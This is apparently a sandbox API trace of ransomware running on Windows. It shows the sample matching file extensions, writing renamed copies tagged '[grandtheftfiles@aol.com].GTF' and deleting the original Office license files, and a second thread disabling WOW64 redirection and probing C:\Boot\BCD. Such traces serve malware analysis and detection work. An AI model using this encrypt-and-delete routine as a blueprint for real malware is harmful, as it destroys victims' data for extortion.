	[0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.578] lstrlenW (lpString=".doc") returned 4
	[0183.578] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString=".docx") returned 5
	[0183.578] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.578] lstrlenW (lpString=".pdf") returned 4
	[0183.578] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString=".xls") returned 4
	[0183.579] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString=".xlsx") returned 5
	[0183.579] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.579] lstrlenW (lpString=".ppt") returned 4
	[0183.579] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.579] lstrlenW (lpString=".zip") returned 4
	[0183.579] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString=".rar") returned 4
	[0183.579] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString=".bz2") returned 4
	[0183.579] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString=".7z") returned 3
	[0183.579] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.579] lstrlenW (lpString=".dbf") returned 4
	[0183.579] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.579] lstrlenW (lpString=".1cd") returned 4
	[0183.579] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.579] lstrlenW (lpString=".jpg") returned 4
	[0183.579] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.579] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.579] lstrlenW (lpString="OutlookVL_MAK-pl.xrm-ms") returned 23
	[0183.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.580] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10627) returned 1
	[0183.580] CloseHandle (hObject=0x42c) returned 1
	[0183.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms")) returned 0x220
	[0183.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.581] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.581] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.582] GetLastError () returned 0x0
	[0183.582] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0183.583] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.584] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.585] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x102, lpOverlapped=0x0) returned 1
	[0183.585] SetEndOfFile (hFile=0x538) returned 1
	[0183.585] CloseHandle (hObject=0x538) returned 1
	[0183.585] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.585] SetEndOfFile (hFile=0x42c) returned 1
	[0183.587] CloseHandle (hObject=0x42c) returned 1
	[0183.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms")) returned 1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.589] lstrlenW (lpString=".doc") returned 4
	[0183.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString=".docx") returned 5
	[0183.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.589] lstrlenW (lpString=".pdf") returned 4
	[0183.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString=".xls") returned 4
	[0183.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString=".xlsx") returned 5
	[0183.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.589] lstrlenW (lpString=".ppt") returned 4
	[0183.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.589] lstrlenW (lpString=".zip") returned 4
	[0183.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString=".rar") returned 4
	[0183.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString=".bz2") returned 4
	[0183.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString=".7z") returned 3
	[0183.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.589] lstrlenW (lpString=".dbf") returned 4
	[0183.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.589] lstrlenW (lpString=".1cd") returned 4
	[0183.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString=".jpg") returned 4
	[0183.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString=".doc") returned 4
	[0183.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString=".docx") returned 5
	[0183.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.590] lstrlenW (lpString=".pdf") returned 4
	[0183.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString=".xls") returned 4
	[0183.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString=".xlsx") returned 5
	[0183.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.590] lstrlenW (lpString=".ppt") returned 4
	[0183.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString=".zip") returned 4
	[0183.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString=".rar") returned 4
	[0183.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString=".bz2") returned 4
	[0183.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString=".7z") returned 3
	[0183.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString=".dbf") returned 4
	[0183.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString=".1cd") returned 4
	[0183.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73
	[0183.590] lstrlenW (lpString=".jpg") returned 4
	[0183.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.591] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.591] lstrlenW (lpString="OutlookVL_MAK-ppd.xrm-ms") returned 24
	[0183.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.591] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6730) returned 1
	[0183.591] CloseHandle (hObject=0x42c) returned 1
	[0183.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms")) returned 0x220
	[0183.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.592] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.592] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0183.724] GetLastError () returned 0x0
	[0183.724] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1a4a, lpOverlapped=0x0) returned 1
	[0183.726] WriteFile (in: hFile=0x3d4, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1a50, lpOverlapped=0x0) returned 1
	[0183.727] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.727] WriteFile (in: hFile=0x3d4, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x104, lpOverlapped=0x0) returned 1
	[0183.727] SetEndOfFile (hFile=0x3d4) returned 1
	[0183.728] CloseHandle (hObject=0x3d4) returned 1
	[0183.728] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.728] SetEndOfFile (hFile=0x42c) returned 1
	[0183.731] CloseHandle (hObject=0x42c) returned 1
	[0183.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms")) returned 1
	[0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.455] lstrlenW (lpString=".doc") returned 4
	[0184.455] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString=".docx") returned 5
	[0184.455] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.455] lstrlenW (lpString=".pdf") returned 4
	[0184.455] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString=".xls") returned 4
	[0184.455] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString=".xlsx") returned 5
	[0184.455] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.455] lstrlenW (lpString=".ppt") returned 4
	[0184.455] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.455] lstrlenW (lpString=".zip") returned 4
	[0184.455] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString=".rar") returned 4
	[0184.455] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString=".bz2") returned 4
	[0184.455] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString=".7z") returned 3
	[0184.455] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.455] lstrlenW (lpString=".dbf") returned 4
	[0184.455] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.455] lstrlenW (lpString=".1cd") returned 4
	[0184.455] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.455] lstrlenW (lpString=".jpg") returned 4
	[0184.456] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.456] lstrlenW (lpString=".doc") returned 4
	[0184.456] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString=".docx") returned 5
	[0184.456] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.456] lstrlenW (lpString=".pdf") returned 4
	[0184.456] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString=".xls") returned 4
	[0184.456] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString=".xlsx") returned 5
	[0184.456] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.456] lstrlenW (lpString=".ppt") returned 4
	[0184.456] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.456] lstrlenW (lpString=".zip") returned 4
	[0184.456] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString=".rar") returned 4
	[0184.456] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString=".bz2") returned 4
	[0184.456] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString=".7z") returned 3
	[0184.456] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.456] lstrlenW (lpString=".dbf") returned 4
	[0184.456] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.456] lstrlenW (lpString=".1cd") returned 4
	[0184.456] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74
	[0184.456] lstrlenW (lpString=".jpg") returned 4
	[0184.456] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.457] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0184.457] lstrlenW (lpString="PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 39
	[0184.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0184.681] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=21125) returned 1
	[0184.681] CloseHandle (hObject=0x33c) returned 1
	[0184.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0184.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) 

Thread:
	id = 42
	os_tid = 0xe0c

	[0152.745] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x39c0058
	[0152.745] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x39d0060
	[0152.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625608
	[0152.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622c28
	[0152.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625620
	[0152.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3bb8020
	[0152.749] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625638
	[0152.749] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625638, Size=0x20) returned 0x5dde80
	[0152.749] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625638
	[0152.749] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625638, Size=0x20) returned 0x5ddfe8
	[0152.749] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.749] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.749] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcff50 | out: OldValue=0x2fcff50*=0x0) returned 1
	[0152.749] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.749] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.749] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.749] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.749] Sleep (dwMilliseconds=0x64) 
	[0152.947] Sleep (dwMilliseconds=0x64) 
	[0153.161] Sleep (dwMilliseconds=0x64) 
	[0153.410] lstrlenW (lpString="BCD") returned 3
	[0153.410] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.410] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.410] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.410] lstrlenW (lpString=".doc") returned 4
	[0153.410] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0153.410] lstrlenW (lpString=".docx") returned 5
	[0153.410] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0153.410] lstrlenW (lpString=".pdf") returned 4
	[0153.410] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0153.410] lstrlenW (lpString=".xls") returned 4
	[0153.410] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0153.410] lstrlenW (lpString=".xlsx") returned 5
	[0153.410] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0153.410] lstrlenW (lpString=".ppt") returned 4
	[0153.410] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0153.410] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString=".zip") returned 4
	[0153.411] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".rar") returned 4
	[0153.411] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".bz2") returned 4
	[0153.411] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".7z") returned 3
	[0153.411] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0153.411] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString=".dbf") returned 4
	[0153.411] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString=".1cd") returned 4
	[0153.411] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString=".jpg") returned 4
	[0153.411] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString=".doc") returned 4
	[0153.411] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".docx") returned 5
	[0153.411] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".pdf") returned 4
